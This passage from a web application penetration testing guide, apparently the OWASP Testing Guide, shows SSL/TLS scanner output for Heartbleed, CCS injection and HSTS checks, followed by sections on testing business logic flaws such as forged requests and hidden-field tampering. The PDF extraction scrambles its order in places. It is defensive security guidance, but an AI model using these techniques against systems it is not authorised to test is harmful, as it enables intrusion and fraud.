.!.”.#.$.%.&.’. 01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../. 01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7. 01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?. 01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G. 01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O. 0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W. 0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._. 0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 .a.b.c.d.e.f.g. 0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o. 0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w. 0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 168 Web Application Penetration Testing x.y.z.{.|.}.~... 02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4. 02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2............... 0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#........... 0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}..... [-] Closing connection [-] Connecting to 127.0.0.1:443 using TLSv1.2 [-] Sending ClientHello [-] ServerHello received [-] Sending Heartbeat [Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.2 [-] Displaying response (lines consisting entirely of null bytes are removed): 0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ...... SHs.|..... 0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..I...@........ 0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y.......... 0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.”. 0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.’.(.).*.
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,..../.0.1.2.
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00
3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00
;.<.=.>.?.@.A.B.
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00
C.D.E.F..a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00
d.e.f.g.h.i.j.k.
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00
l.m.............
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0
.!.”.#.$.%.&.’. 01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../. 01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7. 01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?. 01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G. 01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O. 0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W. 0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._. 0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 .a.b.c.d.e.f.g. 0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o. 0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w. 0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~... 02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4. 02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2............... 0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#........... 0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}..... [-] Closing connection [!] Vulnerable to Heartbleed bug (CVE-2014-0160) mentioned in http://heartbleed.com/ [!] Vulnerability Status: VULNERABLE ===================================== Loading module: CCS Injection script by TripWire VERT ... Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS) Injection bug (CVE-2014-0224) ... [!] The target may allow early CCS on TLSv1.2 [!] The target may allow early CCS on TLSv1.1 [!] The target may allow early CCS on TLSv1 [!] The target may allow early CCS on SSLv3 [-] This is an experimental detection script and does not definitively determine vulnerable server status. [!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CCS) Injection vulnerability (CVE-2014-0224) mentioned in http:// ccsinjection.lepidum.co.jp/ [!] Vulnerability Status: Possible ===================================== Checking localhost:443 for HTTP Compression support against BREACH vulnerability (CVE-2013-3587) ... [*] HTTP Compression: DISABLED [*] Immune from BREACH attack mentioned in https://media. blackhat.com/us-13/US-13-Prado-SSL-Gone-in-30-secondsA-BREACH-beyond-CRIME-WP.pdf [*] Vulnerability Status: No 169 Web Application Penetration Testing --------------- RAW HTTP RESPONSE --------------- test.css”> HTTP/1.1 200 OK Date: Wed, 23 Jul 2014 13:48:07 GMT Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7 X-Powered-By: PHP/5.4.7 Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/ Content-Length: 193 Connection: close Content-Type: text/html ===================================== Login page ===================================== ===================================== Checking localhost:443 for correct use of Strict Transport Security (STS) response header (RFC6797) ... [!] STS response header: NOT PRESENT [!] Vulnerable to MITM threats mentioned in https://www.owasp. org/index.php/HTTP_Strict_Transport_Security#Threats [!] Vulnerability Status: VULNERABLE --------------- RAW HTTP RESPONSE --------------HTTP/1.1 200 OK Date: Wed, 23 Jul 2014 13:48:07 GMT Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7 X-Powered-By: PHP/5.4.7 Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/ Content-Length: 193 Connection: close Content-Type: text/html Login page 401 Authorization Required 401 Authorization Required Invalid login credentials! Example 2: Form-Based Authentication Performed over HTTP Another typical example is authentication forms which transmit user authentication credentials over HTTP. In the example below one can see HTTP being used in the “action” attribute of the form. It is also possible to see this issue by examining the HTTP traffic with an interception proxy. User: Password: Example 3: Cookie Containing Session ID Sent over HTTP The Session ID Cookie must be transmitted over protected channels. If the cookie does not have the secure flag set [6] it is permitted for the application to transmit it unencrypted. Note below the setting of the cookie is done without the Secure flag, and the entire log in process is performed in HTTP and not HTTPS. https://secure.example.com/login POST /login HTTP/1.1 Host: secure.example.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://secure.example.com/ Content-Type: application/x-www-form-urlencoded Content-Length: 188 HTTP/1.1 302 Found Date: Tue, 03 Dec 2013 21:18:55 GMT Server: Apache Cache-Control: no-store, no-cache, must-revalidate, maxage=0 Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache Set-Cookie: JSESSIONID=BD99F321233AF69593EDF52B123B5BDA; expires=Fri, 01-Jan-2014 00:00:00 GMT; 176 Web Application Penetration Testing path=/; domain=example.com; httponly Location: private/ X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Content-Length: 0 Keep-Alive: timeout=1, max=100 Connection: Keep-Alive Content-Type: text/html ---------------------------------------------------------http://example.com/private GET /private HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://secure.example.com/login Cookie: JSESSIONID=BD99F321233AF69593EDF52B123B5BDA; Connection: keep-alive HTTP/1.1 200 OK Cache-Control: no-store Pragma: no-cache Expires: 0 Content-Type: text/html;charset=UTF-8 Content-Length: 730 Date: Tue, 25 Dec 2013 00:00:00 GMT ---------------------------------------------------------- Tools • [5] curl can be used to check manually for pages References OWASP Resources • [1] OWASP Testing Guide - Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001) • [2] OWASP TOP 10 2010 - Insufficient Transport Layer Protection • [3] OWASP TOP 10 2013 - Sensitive Data Exposure • [4] OWASP ASVS v1.1 - V10 Communication Security Verification Requirements • [6] OWASP Testing Guide - Testing for Cookies attributes (OTG-SESS-002) Testing for business logic Summary Testing for business logic flaws in a multi-functional dynamic web application requires thinking in unconventional methods. If an application’s authentication mechanism is developed with the intention of performing steps 1, 2, 3 in that specific order to authenticate a user. What happens if the user goes from step 1 straight to step 3? In this simplistic example, does the application provide access by failing open; deny access, or just error out with a 500 message? There are many examples that can be made, but the one constant lesson is “think outside of conventional wisdom”. This type of vulnerability cannot be detected by a vulnerability scanner and relies upon the skills and creativity of the penetration tester. In addition, this type of vulnerability is usually one of the hardest to detect, and usually application specific but, at the same time, usually one of the most detrimental to the application, if exploited. The classification of business logic flaws has been under-studied; although exploitation of business flaws frequently happens in real-world systems, and many applied vulnerability researchers investigate them. The greatest focus is in web applications. There is debate within the community about whether these problems represent particularly new concepts, or if they are variations of well-known principles. Testing of business logic flaws is similar to the test types used by functional testers that focus on logical or finite state testing. These types of tests require that security professionals think a bit differently, develop abused and misuse cases and use many of the testing techniques embraced by functional testers. Automation of business logic abuse cases is not possible and remains a manual art relying on the skills of the tester and their knowledge of the complete business process and its rules. Business Limits and Restrictions Consider the rules for the business function being provided by the application. Are there any limits or restrictions on people’s behavior? Then consider whether the application enforces those rules. It’s generally pretty easy to identify the test and analysis cases to verify the application if you’re familiar with the business. If you are a third-party tester, then you’re going to have to use your common sense and ask the business if different operations should be allowed by the application. Sometimes, in very complex applications, the tester will not have a full understanding of every aspect of the application initially. In these situations, it is best to have the client walk the tester through the application, so that they may gain a better understanding of the limits and intended functionality of the application, before the actual test begins. Additionally, having a direct line to the developers (if possible) during testing will help out greatly, if any questions arise regarding the application’s functionality. Description of the Issue Automated tools find it hard to understand context, hence it’s up to a person to perform these kinds of tests. The following two examples will illustrate how understanding the functionality of the application, the developer’s intentions, and some creative “out-of-the-box” thinking can break the application’s logic. The first example starts with a simplistic parameter manipulation, whereas the second is a real world example of a multi-step process leading to completely subvert the application. 177 Web Application Penetration Testing Example 1: Suppose an e-commerce site allows users to select items to purchase, view a summary page and then tender the sale. What if an attacker was able to go back to the summary page, maintaining their same valid session and inject a lower cost for an item and complete the transaction, and then check out? Example 2: Holding/locking resources and keeping others from purchases these items online may result in attackers purchasing items at a lower price. The countermeasure to this problem is to implement timeouts and mechanisms to ensure that only the correct price can be charged. Example 3: What if a user was able to start a transaction linked to their club/ loyalty account and then after points have been added to their account cancel out of the transaction? Will the points/credits still be applied to their account? Business Logic Test Cases Every application has a different business process, application specific logic and can be manipulated in an infinite number of combinations. This section provides some common examples of business logic issues but in no way a complete list of all issues. Business Logic exploits can be broken into the following categories: 4.12.1 Test business logic data validation (OTG-BUSLOGIC-001) In business logic data validation testing, we verify that the application does not allow users to insert “unvalidated” data into the system/application. This is important because without this safeguard attackers may be able to insert “unvalidated” data/information into the application/system at “handoff points” where the application/system believes that the data/information is “good” and has been valid since the “entry points” performed data validation as part of the business logic workflow. 4.12.2 Test Ability to forge requests (OTG-BUSLOGIC-002) In forged and predictive parameter request testing, we verify that the application does not allow users to submit or alter data to any component of the system that they should not have access to, are accessing at that particular time or in that particular manner. This is important because without this safeguard attackers may be able to “fool/trick” the application into letting them into sections of thwe application of system that they should not be allowed in at that particular time, thus circumventing the applications business logic workflow. 4.12.3 Test Integrity Checks (OTG-BUSLOGIC-003) In integrity check and tamper evidence testing, we verify that the application does not allow users to destroy the integrity of any part of the system or its data. This is important because without these safe guards attackers may break the business logic workflow and change of compromise the application/system data or cover up actions by altering information including log files. 4.12.4 Test for Process Timing (OTG-BUSLOGIC-004) In process timing testing, we verify that the application does not allow users to manipulate a system or guess its behavior based on input or output timing. This is important because without this safeguard in place attackers may be able to monitor processing time and determine outputs based on timing, or circumvent the application’s business logic by not completing transactions or actions in a timely manner. 4.12.5 Test Number of Times a Function Can be Used Limits (OTG-BUSLOGIC-005) In function limit testing, we verify that the application does not allow users to exercise portions of the application or its functions more times than required by the business logic workflow. This is important because without this safeguard in place attackers may be able to use a function or portion of the application more times than permissible per the business logic to gain additional benefits. 4.12.6 Testing for the Circumvention of Work Flows (OTG-BUSLOGIC-006) In circumventing workflow and bypassing correct sequence testing, we verify that the application does not allow users to perform actions outside of the “approved/required” business process flow. This is important because without this safeguard in place attackers may be able to bypass or circumvent workflows and “checks” allowing them to prematurely enter or skip “required” sections of the application potentially allowing the action/transaction to be completed without successfully completing the entire business process, leaving the system with incomplete backend tracking information. 4.12.7 Test Defenses Against Application Mis-use (OTG-BUSLOGIC-007) In application mis-use testing, we verify that the application does not allow users to manipulate the application in an unintended manner. 4.12.8 Test Upload of Unexpected File Types (OTG-BUSLOGIC-008) In unexpected file upload testing, we verify that the application does not allow users to upload file types that the system is not expecting or wanted per the business logic requirements. This is important because without these safeguards in place attackers may be able to submit unexpected files such as .exe or .php that could be saved to the system and then executed against the application or system. 4.12.9 Test Upload of Malicious Files (OTG-BUSLOGIC-009) In malicious file upload testing, we verify that the application does not allow users to upload files to the system that are malicious or potentially malicious to the system security. This is important because without these safeguards in place attackers may be able to upload files to the system that may spread viruses, malware or even exploits such as shellcode when executed. Tools While there are tools for testing and verifying that business processes are functioning correctly in valid situations these tools are incapable of detecting logical vulnerabilities. For example, tools have no means of detecting if a user is able to circumvent the business process flow through editing parameters, predicting resource names or escalating privileges to access restricted resources nor do they have any mechanism to help the human 178 Web Application Penetration Testing testers to suspect this state of affairs. The following are some common tool types that can be useful in identifying business logic issues. HP Business Process Testing Software • http://www8.hp.com/us/en/software-solutions/software.html?compURI=1174789#.UObjK3ca7aE Intercepting Proxy - To observe the request and response blocks of HTTP traffic. • Webscarab - https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project • Burp Proxy - http://portswigger.net/burp/proxy.html • Paros Proxy - http://www.parosproxy.org/ Web Browser Plug-ins - To view and modify HTTP/HTTPS headers, post parameters and observe the DOM of the Browser • Tamper Data (for Internet Explorer) - https://addons.mozilla. org/en-us/firefox/addon/tamper-data/ • TamperIE (for Internet Explorer) - http://www.bayden.com/ tamperie/ • Firebug (for Internet Explorer) - https://addons.mozilla.org/enus/firefox/addon/firebug/ and http://getfirebug.com/ Miscellaneous Test Tools • Web Developer toolbar - https://chrome.google.com/webstore/detail/bfbameneiokkgbdmiekhjnmfkcnldhhm The Web Developer extension adds a toolbar button to the browser with various web developer tools. This is the official port of the Web Developer extension for Firefox. • HTTP Request Maker - https://chrome.google.com/webstore/ detail/kajfghlhfkcocafkcjlajldicbikpgnp?hl=en-US Request Maker is a tool for penetration testing. With it you can easily capture requests made by web pages, tamper with the URL, headers and POST data and, of course, make new requests • Cookie Editor - https://chrome.google.com/webstore/detail/ fngmhnnpilhplaeedifhccceomclgfbg?hl=en-US Edit This Cookie is a cookie manager. You can add, delete, edit, search, protect and block cookies • Session Manager - https://chrome.google.com/webstore/detail/bbcnbpafconjjigibnhbfmmgdbbkcjfi With Session Manager you can quickly save your current browser state and reload it whenever necessary. You can manage multiple sessions, rename or remove them from the session library. Each session remembers the state of the browser at its creation time, i.e. the opened tabs and windows. Once a session is opened, the browser is restored to its state. site you use, with all your accounts; if you want to use another account just swap profile! • HTTP Response Browser - https://chrome.google.com/webstore/detail/mgekankhbggjkjpcbhacjgflbacnpljm?hl=en-US Make HTTP requests from your browser and browse the response (HTTP headers and source). Send HTTP method, headers and body using XMLHttpRequest from your browser then view the HTTP status, headers and source. Click links in the headers or body to issue new requests. This plug-in formats XML responses and uses Syntax Highlighter < http://alexgorbatchev.com/ >. • Firebug lite for Chrome - https://chrome.google.com/webstore/detail/bmagokdooijbeehmkpknfglimnifench Firebug Lite is not a substitute for Firebug, or Chrome Developer Tools. It is a tool to be used in conjunction with these tools. Firebug Lite provides the rich visual representation we are used to see in Firebug when it comes to HTML elements, DOM elements, and Box Model shading. It provides also some cool features like inspecting HTML elements with your mouse, and live editing CSS properties. References Whitepapers • Business Logic Vulnerabilities in Web Applications http://www.google.com/url?sa=t&rct=j&q=BusinessLogicVulnerabilities.pdf&source=web&cd=1&cad=rja&ved=0CDIQFjAA&url=http%3A%2F%2Faccorute.googlecode. com%2Ffiles%2FBusinessLogicVulnerabilities.pdf&ei=2Xj9UJO5LYaB0QHakwE&usg=AFQjCNGlAcjK2uz2U87bTjTHjJ-T0T3THg&bvm=bv.41248874,d.dmg • The Common Misuse Scoring System (CMSS): Metrics for Software Feature Misuse Vulnerabilities - NISTIR 7864 - http://csrc. nist.gov/publications/nistir/ir7864/nistir-7864.pdf • Designing a Framework Method for Secure Business Application Logic Integrity in e-Commerce Systems, Faisal Nabi http://ijns.femto.com.tw/contents/ijns-v12-n1/ijns-2011-v12n1-p29-41.pdf • Finite State testing of Graphical User Interfaces, Fevzi Belli http://www.slideshare.net/Softwarecentral/finitestate-testing-of-graphical-user-interfaces • Principles and Methods of Testing Finite State Machines - A Survey, David Lee, Mihalis Yannakakis - http://www.cse.ohiostate.edu/~lee/english/pdf/ieee-proceeding-survey.pdf • Security Issues in Online Games, Jianxin Jeff Yan and Hyun-Jin Choi - http://homepages.cs.ncl.ac.uk/jeff.yan/TEL.pdf • Cookie Swap - https://chrome.google.com/webstore/detail/ dffhipnliikkblkhpjapbecpmoilcama?hl=en-US • Securing Virtual Worlds Against Real Attack, Dr. Igor Muttik, McAfee - https://www.info-point-security.com/open_downloads/2008/McAfee_wp_online_gaming_0808.pdf Swap My Cookies is a session manager, it manages your cookies, letting you login on any website with several different accounts. You can finally login into Gmail, yahoo, hotmail, and just any web- • Seven Business Logic Flaws That Put Your Website At Risk – Jeremiah Grossman Founder and CTO, WhiteHat Security https://www.whitehatsec.com/resource/whitepapers/busi- 179 Web Application Penetration Testing ness_logic_flaws.html • Toward Automated Detection of Logic Vulnerabilities in Web Applications - Viktoria Felmetsger Ludovico Cavedon Christopher Kruegel Giovanni Vigna - https://www.usenix.org/legacy/ event/sec10/tech/full_papers/Felmetsger.pdf Business_Logic_White_Paper.pdf Books • The Decision Model: A Business Logic Framework Linking Business and Technology, By Barbara Von Halle, Larry Goldberg, Published by CRC Press, ISBN1420082817 (2010) • 2012 Web Session Intelligence & Security Report: Business Logic Abuse, Dr. Ponemon - http://www.emc.com/collateral/ rsa/silvertail/rsa-silver-tail-ponemon-ar.pdf Test business logic data validation (OTG-BUSLOGIC-001) • 2012 Web Session Intelligence & Security Report: Business Logic Abuse (UK) Edition, Dr. Ponemon - http://buzz.silvertailsystems.com/Ponemon_UK.htm OWASP Related • Business Logic Attacks – Bots and Bats, Eldad Chai - http:// www.imperva.com/resources/adc/pdfs/AppSecEU09_BusinessLogicAttacks_EldadChai.pdf • OWASP Detail Misuse Cases - https://www.owasp.org/index. php/Detail_misuse_cases • How to Prevent Business Flaws Vulnerabilities in Web Applications, Marco Morana - http://www.slideshare.net/marco_morana/issa-louisville-2010morana Useful Web Sites • Abuse of Functionality - http://projects.webappsec.org/w/ page/13246913/Abuse-of-Functionality • Business logic - http://en.wikipedia.org/wiki/Business_logic • Business Logic Flaws and Yahoo Games - http://jeremiahgrossman.blogspot.com/2006/12/business-logic-flaws.html • CWE-840: Business Logic Errors - http://cwe.mitre.org/data/ definitions/840.html • Defying Logic: Theory, Design, and Implementation of Complex Systems for Testing Application Logic http://www.slideshare.net/RafalLos/defying-logic-business-logic-testing-with-automation • Prevent application logic attacks with sound app security practices http://searchappsecurity.techtarget. co m /qn a /0, 2 8 9202 ,si d 92_g c i1213 424 ,0 0 . h t m l ? b u c ket=NEWS&topic=302570 • Real-Life Example of a ‘Business Logic Defect - http://h30501. www3.hp.com/t5/Following-the-White-Rabbit-A/Real-LifeExample-of-a-Business-Logic-Defect-Screen-Shots/bap/22581 • Software Testing Lifecycle - http://softwaretestingfundamentals.com/software-testing-life-cycle/ • Top 10 Business Logic Attack Vectors Attacking and Exploiting Business Application Assets and Flaws – Vulnerability Detection to Fix http://www.ntobjectives.com/go/business-logic-attack-vectors-white-paper/ and http://www.ntobjectives.com/files/ Summary The application must ensure that only logically valid data can be entered at the front end as well as directly to the server side of an application of system. Only verifying data locally may leave applications vulnerable to server injections through proxies or at handoffs with other systems. This is different from simply performing Boundary Value Analysis (BVA) in that it is more difficult and in most cases cannot be simply verified at the entry point, but usually requires checking some other system. For example: An application may ask for your Social Security Number. In BVA the application should check formats and semantics (is the value 9 digits long, not negative and not all 0’s) for the data entered, but there are logic considerations also. SSNs are grouped and categorized. Is this person on a death file? Are they from a certain part of the country? Vulnerabilities related to business data validation is unique in that they are application specific and different from the vulnerabilities related to forging requests in that they are more concerned about logical data as opposed to simply breaking the business logic workflow. The front end and the back end of the application should be verifying and validating that the data it has, is using and is passing along is logically valid. Even if the user provides valid data to an application the business logic may make the application behave differently depending on data or circumstances. Examples Example 1 Suppose you manage a multi-tiered e-commerce site that allows users to order carpet. The user selects their carpet, enters the size, makes the payment, and the front end application has verified that all entered information is correct and valid for contact information, size, make and color of the carpet. But, the business logic in the background has two paths, if the carpet is in stock it is directly shipped from your warehouse, but if it is out of stock in your warehouse a call is made to a partner’s system and if they have it in-stock they will ship the order from their warehouse and reimbursed by them. What happens if an attacker is able to continue a valid in-stock transaction and send it as out-of-stock to your partner? What happens if an attacker is able to get in the middle and send messages to the partner warehouse ordering carpet without payment? Example 2 Many credit card systems are now downloading account balances nightly so the customers can check out more quickly for amounts under a certain value. The inverse is also true. I f I pay my credit card off in the morning I may not be able to use the available credit in the evening. Another example may be if I use my credit card at multiple locations very quickly it may be 180 Web Application Penetration Testing possible to exceed my limit if the systems are basing decisions on last night’s data. How to Test Generic Test Method • Review the project documentation and use exploratory testing looking for data entry points or hand off points between systems or software. • Once found try to insert logically invalid data into the applica tion/system. Specific Testing Method: • Perform front-end GUI Functional Valid testing on the application to ensure that the only “valid” values are accepted. • Using an intercepting proxy observe the HTTP POST/GET look ing for places that variables such as cost and quality are passed. Specifically, look for “hand-offs” between application/systems that may be possible injection of tamper points. • Once variables are found start interrogating the field with log ically “invalid” data, such as social security numbers or unique identifiers that do not exist or that do not fit the business logic. This testing verifies that the server functions properly and does not accept logically invalid data them. Related Test Cases • All Input Validation test cases • Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) • Testing for Bypassing Session Management Schema (OTG-SESS-001) • Testing for Exposed Session Variables (OTG-SESS-004) Tools • OWASP Zed Attack Proxy (ZAP) https://www.owasp.org/index.php/OWASP_Zed_Attack_ Proxy_Project • ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually. References Beginning Microsoft Visual Studio LightSwitch Development http://books.google.com/books?id=x76L_kaTgdEC&pg=PA280&lpg=PA280&dq=business+logic+example+valid+data+example&source=bl&ots=GOfQ-7f4Hu&sig=4jOejZVligZOrvjBFRAT4-jy8DI&hl=en&sa=X&ei=mydYUt6qEOX54APu7IDgCQ&ved=0CFIQ6AEwBDgK#v=onep- age&q=business%20logic%20example%20valid%20data%20 example&f=false Remediation The application/system must ensure that only “logically valid” data is accepted at all input and hand off points of the application or system and data is not simply trusted once it has entered the system. Test Ability to forge requests (OTG-BUSLOGIC-002) Summary Forging requests is a method that attackers use to circumvent the front end GUI application to directly submit information for back end processing. The goal of the attacker is to send HTTP POST/GET requests through an intercepting proxy with data values that is not supported, guarded against or expected by the applications business logic. Some examples of forged requests include exploiting guessable or predictable parameters or expose “hidden” features and functionality such as enabling debugging or presenting special screens or windows that are very useful during development but may leak information or bypass the business logic. Vulnerabilities related to the ability to forge requests is unique to each application and different from business logic data validation in that it s focus is on breaking the business logic workflow. Applications should have logic checks in place to prevent the system from accepting forged requests that may allow attackers the opportunity to exploit the business logic, process, or flow of the application. Request forgery is nothing new; the attacker uses an intercepting proxy to send HTTP POST/GET requests to the application. Through request forgeries attackers may be able to circumvent the business logic or process by finding, predicting and manipulating parameters to make the application think a process or task has or has not taken place. Also, forged requests may allow subvention of programmatic or business logic flow by invoking “hidden” features or functionality such as debugging initially used by developers and testers sometimes referred to as an ”Easter egg”. “An Easter egg is an intentional inside joke, hidden message, or feature in a work such as a computer program, movie, book, or crossword. According to game designer Warren Robinett, the term was coined at Atari by personnel who were alerted to the presence of a secret message which had been hidden by Robinett in his already widely distributed game, Adventure. The name has been said to evoke the idea of a traditional Easter egg hunt.” http://en.wikipedia.org/wiki/ Easter_egg_(media) Examples Example 1 Suppose an e-commerce theater site allows users to select their ticket, apply a onetime 10% Senior discount on the entire sale, view the subtotal and tender the sale. If an attacker is able to see through a proxy that the application has a hidden field (of 1 or 0) used by the business logic to determine if a discount has been taken or not. The attacker is then able to submit the 1 or “no discount has been taken” value multiple times to take advantage of the same discount multiple times. 181 Web Application Penetration Testing Example 2 Suppose an online video game pays out tokens for points scored for finding pirates treasure and pirates and for each level completed. These tokens can later be that can later be exchanged for prizes. Additionally each level’s points have a multiplier value equal to the level. If an attacker was able to see through a proxy that the application has a hidden field used during development and testing to quickly get to the highest levels of the game they could quickly get to the highest levels and accumulate unearned points quickly. used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually. Also, if an attacker was able to see through a proxy that the application has a hidden field used during development and testing to enabled a log that indicated where other online players, or hidden treasure were in relation to the attacker, they would then be able to quickly go to these locations and score points. Debugging features which remain present in the final game http://glitchcity.info/wiki/index.php/List_of_video_games_ with_debugging_features#Debugging_features_which_ remain_present_in_the_final_game How to Test Generic Testing Method • Review the project documentation and use exploratory testing looking for guessable, predictable or hidden functionality of fields. References Cross Site Request Forgery - Legitimizing Forged Requests http://fragilesecurity.blogspot.com/2012/11/cross-siterequest-forgery-legitimazing.html Easter egg - http://en.wikipedia.org/wiki/Easter_egg_(media) Top 10 Software Easter Eggs - http://lifehacker.com/371083/ top-10-software-easter-eggs • Once found try to insert logically valid data into the application/ system allowing the user go through the application/system against the normal busineess logic workflow. Remediation The application must be smart enough and designed with business logic that will prevent attackers from predicting and manipulating parameters to subvert programmatic or business logic flow, or exploiting hidden/undocumented functionality such as debugging. Specific Testing Method 1 Test integrity checks (OTG-BUSLOGIC-003) • Using an intercepting proxy observe the HTTP POST/GET looking for some indication that values are incrementing at a regular interval or are easily guessable. • If it is found that some value is guessable this value may be changed and one may gain unexpected visibility. Specific Testing Method 2 • Using an intercepting proxy observe the HTTP POST/GET looking for some indication of hidden features such as debug that can be switched on or activated. • If any are found try to guess and change these values to get a different application response or behavior. Related Test Cases Testing for Exposed Session Variables (OTG-SESS-004) Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005) Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) Tools OWASP Zed Attack Proxy (ZAP) - https://www.owasp.org index.php/OWASP_Zed_Attack_Proxy_Project ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be Summary Many applications are designed to display different fields depending on the user of situation by leaving some inputs hidden. However, in many cases it is possible to submit values hidden field values to the server using a proxy. In these cases the server side controls must be smart enough to perform relational or server side edits to ensure that the proper data is allowed to the server based on user and application specific business logic. Additionally, the application must not depend on non-editable controls, drop-down menus or hidden fields for business logic processing because these fields remain non-editable only in the context of the browsers. Users may be able to edit their values using proxy editor tools and try to manipulate business logic. If the application exposes values related to business rules like quantity, etc. as non-editable fields it must maintain a copy on the server side and use the same for business logic processing. Finally, aside application/system data, log systems must be secured to prevent read, writing and updating. Business logic integrity check vulnerabilities is unique in that these misuse cases are application specific and if users are able to make changes one should only be able to write or update/edit specific artifacts at specific times per the business process logic. The application must be smart enough to check for relational edits and not allow users to submit information directly to the server that is not valid, trusted because it came from a non-editable controls or the user is not authorized to submit through the front end. Additionally, system artifacts such as logs must be “protected” from unauthorized read, writing and removal. Example 182 Web Application Penetration Testing Example 1 Imagine an ASP.NET application GUI application that only allows the admin user to change the password for other users in the system. The admin user will see the username and password fields to enter a username and password while other users will not see either field. However, if a non admin user submits information in the username and 